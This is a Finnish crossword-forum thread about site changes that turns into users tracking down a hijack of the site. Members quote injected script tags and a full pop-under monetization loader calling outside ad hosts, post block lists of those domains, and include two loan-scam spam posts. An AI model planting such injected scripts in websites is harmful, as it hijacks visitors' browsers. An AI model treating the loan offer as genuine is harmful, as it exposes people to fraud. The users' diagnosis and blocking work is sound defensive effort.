KESKUSTELUT > RISTIKOT > SIVUJEN MUUTOKSET.

9101. Sivujen muutokset.

TU20.12.2016 klo 22:23
Mikäli sivuja joudutaan uudistamaan tietoturvan vuoksi, niin olisiko syytä ottaa rekisteröityminen käyttöön? Tosin itse en pidä pahana useammallakin nikkarilla kirjoittamista, mikäli asia pysyy kuosissa. Pieni anarkismi on aina niin piristävää!
2. TU20.12.2016 klo 22:26
Itse voisin kirjoittaa aivan omallakin nimellä. Tosin Nimimerkki on ihan ok.
3. tapio21.12.2016 klo 14:52
Nimettömänä esiintyminen pitäisi mielestäni kieltää ja vain yksi nimimerkki/henkilö - toki joku voi sitä kiertää käyttämällä eri laitteita.
4. iso S21.12.2016 klo 18:57
Kyllä samalta laitteelta pitää päästä kirjoittamaan eri nimimerkeillä. Ei kaikissa perheissä jokaisella ole omaa laitetta. Vai pitäisikö esimerkiksi tapion vaimon kirjoittaa tapiona?

Pikemminkin rekisteröitymisessä pitäisi olla käytössä jonkinlainen henkilön tunnistus. Pankkitunnuksiin perustuva systeemi ei taitaisi olla ylläpidolle ilmainen ja teknisiäkin haasteita voisi olla. Jonkinlainen ratkaisu olisi se että käyttäjän tunnisteena toimisi sähköpostiosoite. Systeemi lähettäisi kyseiseen osoitteeseen viestin, joka rekisteröitymistä yrittävä näpyttelisi rekisteröitymissysteemiin. Tietenkin joku voisi tehtailla itselleen sähköpostiosoitteita, mutta se enemmän vaivannäköä, mihin satunnainen humalapäissään häiriköivä ei jaksaisi ryhtyä.

Hakkereita ei rekisteröintipakko estäisi.
5. erkki.viertola@gmail.com7.1.2017 klo 07:00
Testi: Onnistunko lähettämään tämän? Jos en onnistu, mikä on syy?
6. erkki.viertola@gmail.com7.1.2017 klo 07:02
Näköjään onnistuin! Miksi ei nimimerkillä onnistu?
7. Ari7.1.2017 klo 09:03
Kokeilit ehkä varattua nimimerkkiä? Eki on sivuston omistaja, keksi joku muu nimimerkki.
8. erkki.viertola@gmail.com7.1.2017 klo 09:51
En ole koskaan missään käyttänyt Eki -nimimerkkiä.
9. Jukkis7.1.2017 klo 10:41
NImimerkkihän tuo sähköpostiosoitekin on, joten selvästikin nimimerkillä onnistuu. Oli varmaan joku tilapäinen häikkä silloin kun jollain toisella nimimerkillä ei onnistunut. Ehkä nyt kannattaisi uudestaan kokeilla sillä alkuperäisellä nimimerkillä?
10. Tuomas L.7.1.2017 klo 10:47
Täällä on ainakin joskus ollut sellainen tekninen rajoitus, että nimimerkki ei kelpaa, jos siinä on enemmän kuin kolme konsonanttia peräkkäin - tästä syystä esimerkiksi laatija Jari Ahlgrén ei voinut kirjoittaa tänne koko nimellään. Taidanpa kokeilla, onnistuuko.
11. alkrmi7.1.2017 klo 10:50
testi
12. Tuomas L.7.1.2017 klo 10:50
Näkyy nykyisin onnistuvan.
13. tapio7.1.2017 klo 11:10
Tuomas saa nyt varoa, ettei vahingossa laita omaksi nimimerkikseen "alkrmi" - nykyisin Firefox ei anna enää poistaa yksittäisiä tietoja.
14. Ari7.1.2017 klo 11:16
Se on hyvä välillä tyhjentää koko selaimen historia.
15. kokeilumyyrä7.1.2017 klo 11:18
testaan
16. Matias-Myyrä7.1.2017 klo 11:20
Kyllä Firefox antoi minun poistaa tuon edellisessä viestissä käyttämäni nimimerkin. Vein hiiren nuolen tuon poistettavan nimimerkin päälle ja painoin Delete-nappia.
17. tapio7.1.2017 klo 11:34
Kiitti neuvosta - en tiennyt moisesta vaan olen joskus tyhjentänyt tarpeettomasti kaikki lomaketiedot.
18. Jukkis7.1.2017 klo 11:37
Olen tuskaillut, kun tuo sama ei toimi Chromessa. Kunnes äsken älysin kokeilla Shift-Delete. Se toimii.

Ja nyt ekan kerran tuli tuo varsinainen robotinesto-captcha-hommakin, ihan kiva.
19. EV7.1.2017 klo 15:17
Testi
20. Saarivaari8.1.2017 klo 08:38
Testaan minäkin.
21. Saarivaari8.1.2017 klo 08:39
... ja toimii!
22. tapio8.1.2017 klo 09:53
Olisko mahdollista, että Ylläpito laittaisi noi numerot ankkureiksi - voisi viitata suoraan toisen säikeen tiettyyn kohtaan.
23. tapio8.1.2017 klo 12:25
Eikö esim. 8729#220 toimisi. Numerointi on autom. generoitu, joten ankkurin liittäminen numeron jälkeen ei luulisi olevan suuri työ.
24. Ari8.1.2017 klo 13:13
Tarkoitatko esimerkiksi näin:
Kun klikkaa tuon viestisi numero 23 järjestysnumeroa, saisit seuraavanlaisen linkin tähän ikkunaan:

www.sanaristikot.net/keskustelut/?id=9101#23

Ja sen voisi halutessaan kopioda ja liittää viestiin toiseen säikeeseen?

Mielestäni oiva ajatus ja olisi kyllä toteutettavissa ohjelmallisesti ja kannatan ajatusta!
25. Ari8.1.2017 klo 13:18
Mielestäni tuon Lainaa-kohdan voisi korvata sellaisella ja tuo veisi heti sen viestin alkuun.
26. tapio8.1.2017 klo 13:33
24. liittyen

Ajattelin vaan pelkkää ankkuritägiä, joka helpottaisi niin, että kun tietää toisen säikeen nron, voisi viitata linkillä juuri tiettyyn kohtaan toista säiettä - ei tarvis kopioida toisen säikeen tekstiä toiseen säikeeseen, kun olisi linkki ja linkin voi helposti ohjata toiseen välilehteen (tai ikkunaan).
27. tapio8.1.2017 klo 19:31
Toisesta säikeestä tähän säikeeseen liittyvä lainaus liittyen siis numerointiin:

"jos Ylläpito poistaa viestejä, joiden jälkeen on ehtinyt tulla uusia viestejä. Säilyvätkö näiden uusien viestien numerot (jolloin numerointiin tulee aukko eikä viimeisen numero enää ole sama kuin viestien lukumäärä) vai korjataanko numerointi aukottomaksi (jolloin tapion toivomaan tapaan viittaavien viittaus voi muuttua vääräksi).

Jos numerointi korjataan aukottomaksi, ei enää pysty päättelemään, onko viestejä poistettu - paitsi jos joku viittaa väärään numeroon ja se ei vaikuta näppihäiriöltä!"
28. Ylläpito8.1.2017 klo 20:43
Tällä hetkellä numerointi tapahtuu aukottomasti. Viesteihin pystyy ankkuroitumaan, jos tietää viestin id-numeron. Tätä ei kuitenkaan ole tällä hetkellä näkyvissä, muuten kuin html-koodissa elementin id:nä.
29. tapio8.1.2017 klo 20:50
Vaatii lähdekoodin katsomista :(
Jos Crome, Firefox ja muutamat muut uudet selaimet tunnistavat id:n ankkurina, eikö id:n voisi generoida numeron kanssa
span class="kes_lnro" id="28">28.
30. Ari8.1.2017 klo 21:16
Voisiko tuo numerointi olla niin että jos välistä poistetaan viesti, se numero lähtee pois välistä ja muiden numerointi säilyy? Ei kai se haittaa jos nähdään että välistä puuttuu.
Eihän tuo sivulla olevien viestien lukumäärä määräydy viimeisen viestin numeron mukaan, vai miten on?
31. Ari8.1.2017 klo 21:19
No, luin huolimattomasti Ylläpidon viestin, siis tuo ID vain näkyviin ja niin että sen voi klikata linkiksi. Siinä se.
32. tapio8.1.2017 klo 21:21
id on eräällä HTML-elementillä ja on aika pitkä luku - ei käyttökelpoinen.
33. Ari8.1.2017 klo 22:36
Koodausta voisi lyhentää esimerkiksi käyttämällä 36- numerojärjestelmää jossa käytettäisiin numeroita 0-9 ja kirjaimia A-Z esim D8 vastaisi numeroa 512 ja 6D8 = 8288. Lyhenisi mutta ei ihan helposti ymmärrettävissä lukuna.
34. Ari8.1.2017 klo 22:46
ZZZ on 47988.
35. Ari8.1.2017 klo 22:55
Ei kun ZZZ = 47987 ennen kuin Jukkis korjaa.
36. Ari8.1.2017 klo 23:04
Ei, siis D8=476, 6D8=8252, ZZZ=46655
Tässä kun yritän sängyssä kännykällä laskea... Öitä.
37. tapio9.1.2017 klo 08:12
Kyllä ihan sama id kuin mitä on kommentilla olisi kivin, nyt id on esim. id="978183" eli
http://www.sanaristikot.net/keskustelut/?id=9101#9 78186 vie tiettyyn kohtaan tätä keskustelua, mutta jos olisi
http://www.sanaristikot.net/keskustelut/?id=9101#3 6, ei tarvitsisi vilkaista lähdekoodia tietääkseen, mihin pitää viitata.
Lähdekoodin katsomisessa pitää myös olla tarkkana, että katsoo just oikeasta kohdasta - juuri oikean HTML-elementin ns. emoelementtiä

Kommentin 36 emo(elementti) on

No kun laittaa DIV-elementin id:n silläkin voi ohjata tiettyyn kohtaan toista keskustelua eikä tarvitse kopioida samaa tekstiä toiseen keskusteluun - yritän itse olla kopioimatta ja käyttää toistaiseksi DIV-elementin id:tä, mutta toivon todella, että ylläpito laittaa 36.

Tosin kovin kätevää ratkaisua ei noinkaan synny - helpointa tietenkin olisi, että numeron ympärille luotaisiin linkki, linkille id ja sitten Ari esittämällä tavalla voisi kopioida linkin osoitteen.
38. tapio9.1.2017 klo 08:36
Ohjelma heitti pois HTML-koodin parista kohtaa

"Kommentin 36 emo(elementti) on "

viitattu elementti on DIV id="978186"

" laittaa 36."

kyse SPAN id="36"

linkit muuttuivat vääriksi (tuli ylimääräinen välilyönti.
39. Ari9.1.2017 klo 08:57
Nuo id:t näyttäisivät olevan niin yksilöllisiä, että ei tarvitse tietää edes säikeen numeroa tai keskustelualuetta kun jokaisella kaikki keskustelufoorumin viestit on numeroitu eri id:llä ja se näyttäisi olevan aikajärjestyksessä nouseva. Eli kun siihen voisi jotenkin päästä linkillä.
40. Ari9.1.2017 klo 09:07
Tuon 'Lainaa'-kohdan kun muuttaisi sitten 'Luo linkki'-kohdaksi niin voisi myös mobiililla toimia. Linkin täytyy olla tehtävissä lähdekoodia näkemättä.
41. Ari9.1.2017 klo 09:49
Jos tuo lainaus tekisi tällaisen linkin:
http://www.sanaristikot.net/keskustelut/?id=9116#9 77892
42. Ari9.1.2017 klo 09:53
Tuo toimii, vaikka välilyönti tuleekin.
43. Ari9.1.2017 klo 09:55
Katkaiseeko tämä jotenkin nuo pitkät yhtenäiset merkkijonot välilyönnillä vai mistä se johtuu? Ei saisi.
44. tapio9.1.2017 klo 10:36
Luulisin, että linkin voisi generoida - kai nämä kaikki tehdään silmukassa, jossa on tietty tulostusohje.

div class="kes_vas" id="978206"div class="kes_lah"span class="kes_lnro"43./span

43. ympärille linkki eli a href="http://www.sanaristikot.net/keskustelut/?id= 9101#978206"43.&
45. Ari9.1.2017 klo 10:37
Mieluummin noin kuin 39+40 kohdissa kuin tuo 41.

Toivottavasti Ylläpito ottaa nämä rakentavina ja positiivisina ehdotuksina eikä koe rasituksena, vaikka väistämättä tuli mieleen että tässä taitaa tulla Ylläpidon koodarille tauoton tammikuu. Sitten kun joku vielä hoksaa pyytää tekemään graafisille hymiöille valintalaatikonkin, nehän näyttäisivät täällä jo muuten toimivan.
46. tapio9.1.2017 klo 10:42
näemmä ei saa koodia esille vaikka laittaa &+lt +; ja &+gt +;
47. i9.1.2017 klo 11:18
Ari 9.1.2017 klo 09:07: " Linkin täytyy olla tehtävissä lähdekoodia näkemättä." No ehdottomasti täytyy, jos yleensä täytyy pystyä tekemään linkkejä. Kysymys on kuitenkin poikkeustapauksista - näppituntumalla runsaasti alle prosentti viesteistä on sellaisia joissa viitataan toisen säikeen tiettyyn viestiin. Pitäisikö muka kaikkien opiskella sitä varten HTML-koodausta? Ei ole realistista.

Läppärillä ja pöytäkoneella toimii ihan hyvin se että kertoo viestin numeron ja aikaleiman. Vähemmän näpätä voi kopioida viitatun säikeen osoitteen muiden vähemmän näppärien iloksi. Mobiilikäyttäjillä on omat murheensa, Osoitteen kopiointi on ainakin hankalampaa ja sen osaaminen lienee harvinaisempi taito some-sukupolven ulkopuolella verrattuna läppärillä kopioimiseen.

Mikäpä siinä jos ylläpidolla on aikaa ja intressiä rakentaa mahdollisuus linkkien luomiseen. Loppuu kädenvääntö siitä, onko kivempi viitata numeroihin, aikaleimaan vai kintaalla urheiluosastoon. Sitä mieltä kuitenkin olen että tämä ei ole kiireysjärjestyksessä mikään ykkösasia.
48. tapio9.1.2017 klo 13:32
En osaa minäkään tabletilla kopioida osoitetta enkä liittää sitä osoitekenttään. Se, että numero olisi linkki, täytyisi tulla sopivasti esille. Eihän toi tärkeä asia ole ja osaan kyllä itse luoda linkin html-koodia katsomalla.
49. Simmpa9.1.2017 klo 13:40
Lainaus: 48. tapio 9.1.2017 klo 13:32
En osaa minäkään tabletilla kopioida osoitetta enkä liittää sitä osoitekenttään. Se, että numero olisi linkki, täytyisi tulla sopivasti esille. Eihän toi tärkeä asia ole ja osaan kyllä itse luoda linkin html-koodia katsomalla.


Tuntuu uskomattomalta?
50. Pete10.1.2017 klo 00:35
Jukkis taitaa olla ensimmäinen, joka myöntää tykkäävänsä CAPTCHA:sta. Sitä varten vapaaehtoinen rekisteröinti voisi olla hyvä ratkaisu, rekisteröityjä varten ei tarttisi CAPTCA:aa ja tahattomat (tai tahalliset) sekoilut saman nimimerkin käytöstä poistuisivat. Toki tunnistautumista siihen ei kannata sotkea.

Varmaan olisi paljon hyödyllisiä ominaisuuksia, mitä tänne voisi lisätä. Tärkeintä olisi kuitenkin saada foorumin perustekstinkäsittely toimimaan luotettavasti ja etenkin turvallisesti. Tuntuu, että pikaliimalla paikataan reikä kerrallaan, eikä kuka tarkista kokonaisuutta. Kyllä se kirjoitettu teksti täytyisi näkyä sellaisenaan muilllekin. Eli HTML-tagit täytyisi näkyä sellaisinaan, ettei niitä kadoteta tai tulkita koodiksi.

Ristikkoaiheiselle foorumille oma ykköstoiveeni olisi joku ristkkotagi, eli HTML:n pre-tagia vastaava toiminto, mikä siis säilyttää välilyönnit ja käyttää tasaleyistä fonttia, joten pieniä ristikkopohjia voisi lähettää helposti foorumille.

Ja nyt olisi viimein aika tutustua siihen tietosuojalainsäädäntöön, se koskee myös tätä sivustoa. Tulevaisuudessa tietosuojan rikkominen maksaa selvää rahaa. Esim. linkistä löytyy yleisluontoista tietoa vaatimuksista http://www.tivi.fi/Kaikki_uutiset/tallainen-on-tie tosuoja-asetus-jopa-20-miljoonan-sakot-uhkaavat-ri kkojia-6606546
51. tapio10.1.2017 klo 08:38
Ongelma tässä keskustelussa on nyt se, että samantapaisia asioita esillä 9116.
Täällä taas! -säikeessä eikä enää oikein pysy kärryillä, mitä käsitelty missäkin säikeessä. Joku pyysi editointimahdollisuutta.

"
158. LarsLainaa9.1.2017 klo 14:57
Korjaan oli....viestin korjausominaisuus olis hyvä, toki niin että siitä jäisi merkintä.
159. tapioLainaa9.1.2017 klo 15:05
Tarkoittanet jotain tällaista
http://www.fillarifoorumi.fi/forum/showthread.php? 28815-Koeajopankki
"

Tuo liittyy Peten näkökulmaan ja kopsasin tähän. Olisko nyt hyvä, että keskusteltaisiin sivuston muutoksiin liittyviä asioita tässä säikeessä eikä "Täällä taas"? Ylläpitokin joutuu nyt seuraamaan samantapaista keskustelua kahdessa säikeessä.
52. Ari10.1.2017 klo 12:11
Tämä systeemi näemmä pätkii pitkät yhtenäiset merkkijonot 50 merkin pituisiksi laittaen väliin vlilyönnin.

Mutta tuosta Peten linkistä:
Pitääkö ohjelmakoodin jotenkin tarkistaa asetettava uusi salasana niin, että esimerkiksi kissa123 ei hyväksytä salasanaksi (ainakaan pääkäyttäjän)?
Millainen algoritmi siinä sitten pitää olla? Iso sanavarasto ja esim merkkijono 123 ei hyväksyttäisi, mitä muuta? Minkälainen salasana ylipäätään on hyvä? No eihän sitä voi varmaan kukaan tietää kun jos tietäisi, se ei olisi hyvä???
53. Ari11.1.2017 klo 18:05
Kun haen tuolta vasemman yläkulman hae sivustolta-toiminnolla sanoilla 'Muutetaan yksi kirjain ketju' niin tuloksissa on html-koodia strong. Saisiko nuo pois ja miksi otsikkoihin ylipäänsä on mahdollista laittaa erilaisia muotoiluja? Vai onko tuo muotoilumahdollisuus tarkoituksellista? Näyttäisi olevan ihan kaikissa ketjun alkuajoista asti, ennen minun koostamistanikin.
54. Ari11.1.2017 klo 18:18
Tai se jostain syystä näyttää tuon koodin eikä toimi sen mukaan juuri noilla hakusanoilla, muilla en ole huomannut samaa.

Tämä kirjoittaminen tähän laatikkoon on keskeytynyt nyt muutaman kerran kesken kirjoituksen sivun peruutukseen jostain syystä, tämä on ihan eri virhe, olinkohan napsauttanut kesken kirjoituksen tuota ruutua...
55. Ari11.1.2017 klo 18:23
Se näemmä tulee silloin kun hakusanojen kirjain ja ketju välissä on kaksi välilyöntiä.
56. Ari11.1.2017 klo 18:25
...Eli jos ylipäänsä kahden sanan välissä on kaksi välilyöntiä.
57. Kaapo11.1.2017 klo 18:31
En pääse enää pöytäkoneellani tälle sivustolle. En millään selaimella. Tämän lähetin vaimon kännykästä.
58. Jukkis11.1.2017 klo 20:09
Kaikille muille sivustoilleko siis pääset? Tämä on ainoa, jolle et?
59. Ari11.1.2017 klo 20:15
Tällainenkin virhe näyttää jatkuvasti tulevan, että vaikka nytkin oli tullut vain yksi, Jukkiksen viesti, tämä näytti että olisi tullut 3 uutta viestiä.
60. Ari11.1.2017 klo 22:44
Nyt kun on sivustoa vähän tutkinut ja verrannut vanhaan, niin sanoisin ihan positiivisena asiana ainakin sen, että vaikka sivun ulkonäkö on saanut ehostusta pyöreillä muodoilla ja erilaisilla nuolimerkeillä napeissa, niin näissä kohdissa on osattu välttää kuvatiedostojen käyttö ja on tehty ne koodilla noin kuin ne on, täten kevyempi ladata.
61. meester_Henk12.1.2017 klo 14:51
Macillä sivusto on puutaheinää, iPadillä OK.
62. tapio12.1.2017 klo 15:05
Milloinka päivitit selaimen ja mitä selainta käytit? Jos ei Safarilla toimi, kokeile jollakin muulla.
63. Ville12.1.2017 klo 15:24
Macillä toimii kyllä ihan hyvin. OS 10.11.6
64. tapio12.1.2017 klo 15:28
Käyttöjärjestelmän lisäksi oleellinen tieto on selain ja sen versio. Tosin nykyisin ei ole niin kammottavia eroja selainten välillä kuin joskus muinoin.
65. meester_Henk12.1.2017 klo 19:59
Käyttis on MacOS Sierra 10.12.2 ja ei toimi kunnolla. Safari on 10.0.2.
66. tapio12.1.2017 klo 20:58
Mackiin saa ainakin Firefoxin. Safari for Windows ei kovin käyttökelpoinen testaamisessa, koska ymmärtääkseni ei ole läheskään uusin.
67. John Ahmed15.1.2017 klo 04:35
Oletko myöskään taloudellisia vaikeuksia? Haluatko oman yrityksen? Tämä laina Yritys perustettiin ihmisoikeusjärjestöjen ympäri maailmaa, jonka ainoana tarkoituksena on auttaa köyhiä ja ihmiset taloudellisia vaikeuksia elämän. Jos haluat hakea lainaa, saada takaisin minulle sähköpostitse: russell.credit40@gmail.com
68. John Ahmed15.1.2017 klo 04:36
Jos olet kiinnostunut saamaan lainaa sitten ystävällisesti kirjoittaa meille lainan vaatimus.
Ota yhteyttä, lisätietoja: russell.credit40@gmail.com

Vilpittömästi sinun,
Mr. John Ahmed.
69. tapio15.1.2017 klo 09:41
Tarviskohan laittaa kuva-arvoitus tulemaan joka kerta?
70. Ari15.1.2017 klo 18:33
Suosittelisin suomenkielistä kysymystä, valinta tekstikuvina eikä valokuvana.
71. Ari15.1.2017 klo 22:00
Nimittäin kun muistelen niin eikö nuo häiriköt jotka ovat linkkejä tänne rustanneet ole olleet yleensä ulkomaalaisia, ainakin tekstit. Jos ei suomea osaisi ei pääsisi laittamaan viestejä. Tuokin varmasti kääntäjällä käännetty. Olisi ainakin haastetta.
72. Ari16.1.2017 klo 10:36
Tuo hakukenttä poistaa hakusanasta pisteen joka olisi kyllä joissakin tarkoituksissa tarpeellinen. Esimerkiksi kun etsii tiettyä linkkiä sivustolta niin nyt ei tahdo löytyä vaikka se siellä olisi.
73. meester_Henk24.1.2017 klo 16:02
Ilokseni huomasin, että nyt toimii iMacilläkin hienosti. Kiitos!!!
74. tapio24.1.2017 klo 16:12
Toisessa keskustelussa tuli ilmi, että selain ei jostakin syystä lukenut tyylitiedostoja, jolloin sivu tuli ilman muotoiluja - tavallaan raakaversiona.

Noi liikenne-merkit ärsyttäviä, koska jos merkki näkyy vain osittain, joskus tulee osittainen merkki ruksata ja jos näkyy vain ihan reunat, ei. No muutamat muutkin kuvatyypit niin tulkinnallisia, että mennyt uusiksi.
75. tapio24.1.2017 klo 19:49
Saisko ylläpito siirrettyä väärään paikkaan laitetun koosteen koosteiden alle eikä ristikkosäikeisiin.
76. Eki24.1.2017 klo 21:34
Kaikki aikanaan, tapio.
77. tapio25.1.2017 klo 08:36
Lähinnä ihmetytti, että ryhmän Muut aiheet säie tuli ristikkosäikeiden ryhmään - jatkossa olisi kiva, jos keskeneräiset koosteet pidetään ryhmässään.
78. seurailija25.1.2017 klo 11:52
Talvella voisi sinulle suositella enemmän "hankielämää" ja vähemmän tämän sivuston ylläpitoa.
79. Ari30.1.2017 klo 23:01
Jaa-a sinne koostepuolelle siirretty minunkin koostamia ketjuja, mutta enpä pääse niitä jatkamaan.
80. Ari4.2.2017 klo 14:56
Ylläpito poistunut takavasemmalle ja sivut taas kaapattu.
81. Eki4.2.2017 klo 18:07
Sivun kaappaus taitaa olla voitettu kanta. Ota Ari yhteys toimitukseen, niin katsotaan tilannetta.
82. Ari4.2.2017 klo 21:07
Otin.
Mutta edelleen tulee tuo vanhalta sivulta tuttu mainos vielä vahvempana kuin ennen että pitää tulla kännykällä sellaisella selaimella jossa on adblock päällä. Teillä on ilmeisesti jäänyt vanhalta sivulta jokin koodinpätkä jota hyödyntävät.
83. ++juh4.2.2017 klo 21:16
Firefoxin käyttäjät voivat suojautua asentamalla BlockSite-lisäosan
https://addons.mozilla.org/fi/firefox/addon/blocks ite/
ja lisäämällä sen mustalle listalle (lisäosan asetuksista) osoitteet

cdn.shorte.st
cdn.popcash.net
d2z0gqc8sv0l7p.cloudfront.net

Itse käytin osoitteissa jokerimerkkiä (*)
*.shorte.st
*.popcash.net
*.cloudfront.net
84. tapio4.2.2017 klo 21:25
Kiitti neuvosta.
85. tapio4.2.2017 klo 21:31
McAfee varoittelee myös tästä: lvztx.com
kannattaa myös lisätä tuo
86. tapio4.2.2017 klo 21:38
++juh mainitsemien sivujen lisäys ei auttanut, mutta tuo McAfeen ilmoittaman sivun lisäys auttoi. BlockSite heitti varoituksen, mutta ei sitten enää mitään muuta.
87. tapio4.2.2017 klo 21:51
Joku hakkeri on lisännyt lähdekoodin:


< script type="text/javascript" src="//cdn.popcash.net/pop.js">< / script >
< script data-cfasync="false" src="//d2z0gqc8sv0l7p.cloudfront.net/?cqgzd=643306 " >< / script >
88. tapio4.2.2017 klo 21:53
Palvelinvirus varmaan. Kannattaiskohan Sanariksen ottaa yhteyttä tietoturvafirmaan - tai tietenkin pitää, jos ei ole jo tehty.
89. tapio4.2.2017 klo 22:04
Sivun lopussakin lisättyä koodia
function() {
var configuration = {
"token": "b06cde342df6e21733c2ad5623be9adb",
"domains": [
"www.sanaristikot.net"
],
"capping": {
"limit": 5,
"timeout": 24
},
"entryScript": {
"type": "timeout",
"timeout": 3000,
"capping": {
"limit": 5,
"timeout": 24
}
},
"exitScript": {
"enabled": true
},
"popUnder": {
"enabled": true
}
};
var script = document.createElement('script');
script.async = true;
script.src = '//cdn.shorte.st/link-converter.min.js';
script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != 'complete' && rs != 'loaded') return; shortestMonetization(configuration);};
var entry = document.getElementsByTagName('script')[0];
entry.parentNode.insertBefore(script, entry);
90. ++juh4.2.2017 klo 22:12
Millä sanaristikot.net-sivulla tuo lvztx-sivun linkki on? Ettei vain ollut kyse siitä, että selaimesi haki sivun koneesi tai välityspalvelimen välimuistista, jossa oli tuo lvztx-sivu.
91. tapio4.2.2017 klo 22:21
Joo en tuohon lvztx.com-sivustoon Sanariksen sivuilta linkkiä löytänyt, mutta nuo kolme muuta on tosiaan Sanariksen sivuilta linkitettyä kuten lähdekoodista käy ilmi. Tyhjensin selaimen välimuistin. Välityspalvelimeenhan en pääse käsiksi. Mutta suosittelen nyt tuonkin lisäämistä estolistalle.
92. Ari4.2.2017 klo 22:21
Jos onkin, niin ongelma ei ole välttämättä tuo, vaan se miten sen on pystynyt tuonne tallentamaan.
93. ++juh4.2.2017 klo 22:34
Ei se tietenkään ratkaise sivuston kaappausongelmaa, mutta suojaa sivustolla kävijää estämällä noiden mainoshaitakkeiden latautumisen.
94. tapio5.2.2017 klo 08:32
Noista toi *cloud* esiintyy muuallakin. Jukkis heitti herjaa minun kirjoitusvirheestäni ja kirjoitti "Foxy Lady".

https://www.fonecta.fi/profiili/Helsinki/2656817/F oxy+Lady

< link rel="stylesheet" media="screen" href="https://d2dc15dcgalemf.cloudfront.net/assets /build/css/tili-embed-1.0.15.min.css ">

Blocker näytti sivun ilman tyylejä.
Mitä tästä pitäisi päätellä. Fonectan sivuillakin kiusantekoa?
95. tapio5.2.2017 klo 08:40
Lähetin asiasta s-postilla tiedustelun fonectalle.
96. lefa5.2.2017 klo 10:19
Vieläkin pukkaa manoksia kun availee näitä linkkejä. Onhan se mahdollista että Ekillä on sponssori :)
97. Eki5.2.2017 klo 10:24
En tiedä, kun tuota sanaa ei löydy kovista kansista ja Googlellakin jotain hämäriä linkkejä.

Mutta noita häiriköitä yritetään kyllä häätää.
98. tapio5.2.2017 klo 11:43
++juh ehdottoma blokkeri on kyllä hyvä. Juhalle: miten hyvin se toimii vain manuaalisena mainosten estona. Kyse lähinnä siitä, että jos sen avulla estää joitakin mainoksia, joita sivujen ylläpito vaatisi näyttämään, estyykö sisällön luku kuten joillakin adware-ohjelmilla? Itsellä ei tarvetta täysin suojautua mainoksilta.
99. Auri5.2.2017 klo 11:47
Tää on ihan mahdoton... mainoksia tulee yks toisensa perään... jatkuvalla syötöllä... :(
100. Auri5.2.2017 klo 11:52
Nyt rauhoittui sen verran, että pääsen kirjoittamaan kommenttia. Tähän meni noin 10 minuuttia: sitä mukaa kuin sain "ohitettua mainoksen", niitä tuli uusia perä toisensa jälkeen - kunnes lopulta suljin kaikki sivut ja piti aloittaa alusta.
Käytössä Linux Mint ja selaimena Fox.

Niin... ja nyt en saa yhteyttä reCAPTHAan :( jotta saisin tämän viestini julkaistua.
101. tapio5.2.2017 klo 11:56
Asenna se blokkeri Firefoxille (https://addons.mozilla.org/fi/firefox/addon/block site/)

blokkaa ainakin nämä:

*.shorte.st
*.popcash.net
*.cloudfront.net
lvztx.com
102. ++juh5.2.2017 klo 14:56
tapio, vaihda
*.cloudfront.net => d2z0gqc8sv0l7p.cloudfront.net
niin fonecta toimii normaalisti.
103. tapio5.2.2017 klo 15:11
Näemmä se "cloudfront" taitaa olla Amazon palvelu - jossa voi olla ihan ok. käyttäjiä että ilkeilijöitä.
Tästä palvelusta kai kyse:
https://aws.amazon.com/cloudfront/
104. tapio5.2.2017 klo 15:24
Harmi kun lisäosaa ei ole Androidille, jotta saisi vastaavan eston siihenkin. Joku toinen vastaava lisäosa koettiin huonosti toimivaksi.
105. ++juh5.2.2017 klo 16:09
Poistin BlockSiten ja käytän nyt blokkaukseen uBlock Origin -lisäosaa, joka toimii Androidissakin:
https://addons.mozilla.org/fi/firefox/addon/ublock -origin/

Lisäsin uBlock Originin suodattimiin:
shorte.st
popcash.net
d2z0gqc8sv0l7p.cloudfront.net
106. tapio5.2.2017 klo 16:19
Kiitti tiedosta - kannattaa lisätä se McAfeen ehdottama sivusto myös, koska ainakin se on epäluotettava.
107. Auri5.2.2017 klo 21:21
Mitä on tapahtunut? - Nyt mainokset poissa - vaikka en ole hakenut mitään blockeria...
(Nyt täytyy painaa puuta...) ;)
108. Eki5.2.2017 klo 21:24
Kyllä ylläpito on hommia paiskinut, mutta ongelmia kai edelleen on.
109. tapio5.2.2017 klo 22:20
Joo - lähdekoodista on saatu poistettua ilkeilijät.
110. tapio6.2.2017 klo 08:14
Taas ilkimykset palanneet ja cloudfront uudella osoitteella:
d258hxk86e2ixw.cloudfront.net

Näytti viimeksi Elisan mainoksia.

olisi varmaan tarve *.cloudfront.net, vaikka siitä on kyllä sitten haittaa muilla sivuistoilla.
111. tapio6.2.2017 klo 08:41
Jo yksinään cloudfront on ärsyttävä ja jos sen päälle pari muuta, tilanne on ikävä.
cloudfront käytetään hyvin yleisesti mainostamiseen, joten sen blokkaaminen yleisesti voisi olla järkevää.
112. kaplas6.2.2017 klo 10:10
Varmaan ostopäätös on varma, kun näin mainostetaan..
113. Jukkis6.2.2017 klo 10:34
"Näytti viimeksi Elisan mainoksia."

Noinkohan. Ei ole tuota näkynyt, mutta voisin kuvitella, että kyseessä on huijaus, jossa tulee Elisan sivujen ulkonäköä matkiva sivu, jossa klikkailemalla päätyy johonkin uskomattoman edulliseen tarjoukseen, jossa jonnekin piilotetut kaupan ehdot kertovat, että tilaamalla sitoudut maksamaan kuukausittain jonkun summan jostain "palvelusta". Sivun osoitteessa saattaa näkyä domain-nimenä jotain tyyliin "elisa-connect", jolla ei ole Elisan kanssa mitään tekemistä. En usko, että mikään asiallinen firma tuollaisen sivujenkaapparifirman kautta itseään mainostaa.
114. tapio6.2.2017 klo 10:45
Ihmettelin hieman, miten Fonecta viitsii käyttää cloudfront-palvelua, kun sillä on aika huono maine.

Viittaan tähän artikkeliin: http://www.virusresearch.org/remove-cloudfront-net -chrome-firefox-ie/
115. Eki6.2.2017 klo 10:46
Minulla ja Sanarisilla kaikissa koneissa sivusto käyttäytyy eri tavalla ja tulee erilaisia mainoksia tms., riippuu kai asetuksista ja asennuksista.

Onko muillakin niin, että en ole robotti -pyyntö johtaa joskus kuva-arvoitukseen ja tulee kausia, kun ei johda?

Yksi vanha kirjoittaja sanoi, että tuo robottipyyntö tyssää hänen pääsynsä. Osaakohan joku sanoa loogisimman syyn? Hän ei pääse kirjoittamaan tänne.

Kovaa on tämä häätöhomma.
116. tapio6.2.2017 klo 10:59
Mainosten tulo on kai samalla tavalla hoidettuja kuin sivustoilla, jotka ovat mainosrahoitteisia. Olen Elisan asiakas, joten jonkinlaista seurantaa ja sen mukaan tehtyä mainontaa harrastettiin (vaihdoin blokkausasetusta ja pääsin joksikin aikaa eroon mainoksista)

